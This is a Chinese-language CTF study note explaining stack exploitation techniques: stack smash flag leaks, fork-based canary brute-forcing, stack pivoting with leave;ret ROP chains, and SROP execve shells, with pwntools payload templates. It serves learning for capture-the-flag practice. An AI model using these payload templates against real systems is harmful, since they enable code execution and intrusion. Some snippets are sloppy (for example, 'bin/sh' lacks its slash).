stack smash

造成原因

当进行栈溢出时，触发了__stack_chk_fail，从而拦截了该栈溢出，使程序崩溃

利用原理

我们首先了解一下__stack_chk_fail函数的构成
__

__发现调用了__fortify_fail函数，那我们再看下这个函数

发现有两个参数，一个是msg(信息，也就是前边的"stack smashing detected")，另一个是__libc_argv[0]，这其实是主函数里的一个参数，保存了我们的程序名
那么我们的方法就是，将__libc_argv[0]的地址替换为flag所在的地址，这样在进行检测报错后就可以直接将flag给打印出来（一般而言都是有open函数打开了一个flag文件然后读入)

使用方式

在动态调试中，往gets/read函数处（注意函数里边的参数是什么）下断点后进行栈溢出，退出输入函数后使用stack计算程序名读入的地址与rsp指向的地址之间的偏移量，将发送等同于偏移量大小的垃圾数据后进行地址跳转即可
形式如

1	payload = offset * b'a' + p64(flag_addr)

局限性

在glibc-2.23及之前的版本可用，但在glibc-2.27及之后的版本，因为stack_chk_fail或fortify_fail源代码的中一些参数的变化，导致了stack smash这样的方法无法通过检测，再也行不通
有且仅有在flag文件内置于程序内可用

多进程爆破（多用于爆破Canary)

原理

fork函数会在父进程中创建子进程并完全复制父进程的地址空间的内容，如果成功，fork函数会在子程序返回0，若出错则会返回负值。因为完全复制的特性，所以子进程和父进程的Canary是一样的，如果在循环中调用了fork函数，可以根据函数特性爆破Canary的值

利用方式

Canary默认的最低字节是’\x00’，因此我们只用爆破前七个字节就够了。然后构造payload
基础形式

canary = '\x00' #默认最低字节已经是\x00
for first in range(7): #第一重循环，七次，对应爆破七个字节
    for bit in range(0x100): #第二重循环，每个字节有0x00到0xFF的取值，所以要循环0x100次
	p.send(offset_buf_to_canary * 'a' + canary + chr(bit)) #覆盖到canary地址处，首先输出'\x00'，而后通过chr函数将unicode编码转换成对应字符，如果字符和canary对应，则可以通过canary检测
	string_in_father = p.recvuntil('fork函数里的字符串内容') #具体情况具体分析
	if 'fork函数之后的字符串（如果有的话）' in string_in_father: #判断条件，用于爆破出正确的canary值
	    canary += chr(bit) #正确的话，加上一字节
		print(hex(u64(canary.ljust(8,b'\x00')))) #在十六进制下输出被解包的canary，左对齐，不足八位用'\x00'补齐
		break

像p.recvuntil和string_in_father其实是可变的，甚至可以说是不一定有的，要根据具体情况具体分析，这只是个大致模板，真要做还得慢慢分析

局限性

爆破很慢，因为循环次数多，而且每次都要判断，导致爆破出canary的过程极其漫长，有这时间都可以去做别的题目了
条件苛刻，首先得有fork函数，其次还要循环调用，缺一不可

stack pivot(栈迁移)

原理

构造一条恶意的ROP链，将rbp，rsp迁移到这含有这条恶意的ROP链的栈（通常是bss区上，且有可执行权限）上，控制执行流
这其中很重要的就是leave指令的应用

1 2	leave -> mov rsp,rbp pop rbp

还有ret，ret返回的地址是栈顶数据，而栈顶由rsp决定，我们只要控制了rsp，我们也就控制了ret返回的栈顶数据

利用方式

在read/gets函数溢出后，如果有canary就接收canary，而后接收栈地址，然后构造第一次的payload
以puts函数泄露libc_base为例(攻击的基础样式)

elf = ELF('该程序的绝对路径/相对路径')
payload_first = p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr) #泄露基地址
payload_first += payload.ljust(offset_from_buf_to_canary,b'\x00') #将垃圾数据恰好填指储存canary的地址前
payload_first += p64(canary) + p64(stack) + p64(leave_retn_addr) #stack要记得在接收时减去offset_from_rbp_to_rsp并且再减去8。注意，我们把ret的地址覆盖成leave_ret，相当于执行了两次leave，第一次时rbp指向stack，而rsp指向了第二个leave，第二次leave把rbp指向的stack的地址赋值给了rsp，我们就控制了rsp跳转的地址了，但是第二次的'pop rbp'是多余的，会抬高rsp八字节，所以在构造stack数据时，要考虑把数据放到rsp-8的位置，最后ret的时候rsp会把指向内存的内容赋值给rip，让rip去执行

通过泄露出的libc_base可以通过对应版本的libc.so文件调用任意函数，将system函数和bin/sh迁移到stack上，再将rsp迁移到stack上即可。但是在第二次进入main函数的时候，栈会被抬高，因此我们需要计算抬高的栈距离我们第一次泄露的栈的距离，在read/gets函数里能看到buf的地址，从而算出offset的值，就可以构造第二次的payload的了

stack = stack - offset - 8 #第二次时的栈的地址
payload_second = p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
payload_second = payload_second.ljust(offset_from_buf_to_canary,b'\x00')
payload_second += p64(canary) + p64(stack) + p64(leave_ret_addr)

优点

所需字节数较少，适用于read读入字节不够的情况，当然，前提还是要能进行栈溢出

条件

仍需要栈溢出
存在可控制内容的内存，并且需要能够泄露出基地址

SROP（早期应该不怎么会见得到这玩意）

原理

这个玩意我觉得我解释不清，直接甩佬的链接就好了

https://xz.aliyun.com/t/12790

利用方式

在Linux i386下调用sigreturn的代码存放在vdso中（暂不研究，主讲x86_64）
在Linux x86_64下，系统调用号为15的syscall为sigreturn，题目里如果在汇编代码里有设置rax为15的话（mov rax,15)，很大可能就是要利用SROP进行攻击了
常见模板

frame = SigreturnFrame() #pwntools集成了这种攻击方式
frame.rax = 59 #execve()的系统调用号为59，如果找不到合适的系统调用号，就可以看能不能通过read控制rax的值
frame.rdi = 写有'bin/sh\x00'的地址 #如果是bss，直接写bss区地址即可；若在栈上，则还需泄露栈地址
frame.rip = syscall_addr
frame.rsi = 0
payload = "bin/sh\x00" * offset + p64(syscall_addr) + p64(15) + str(frame)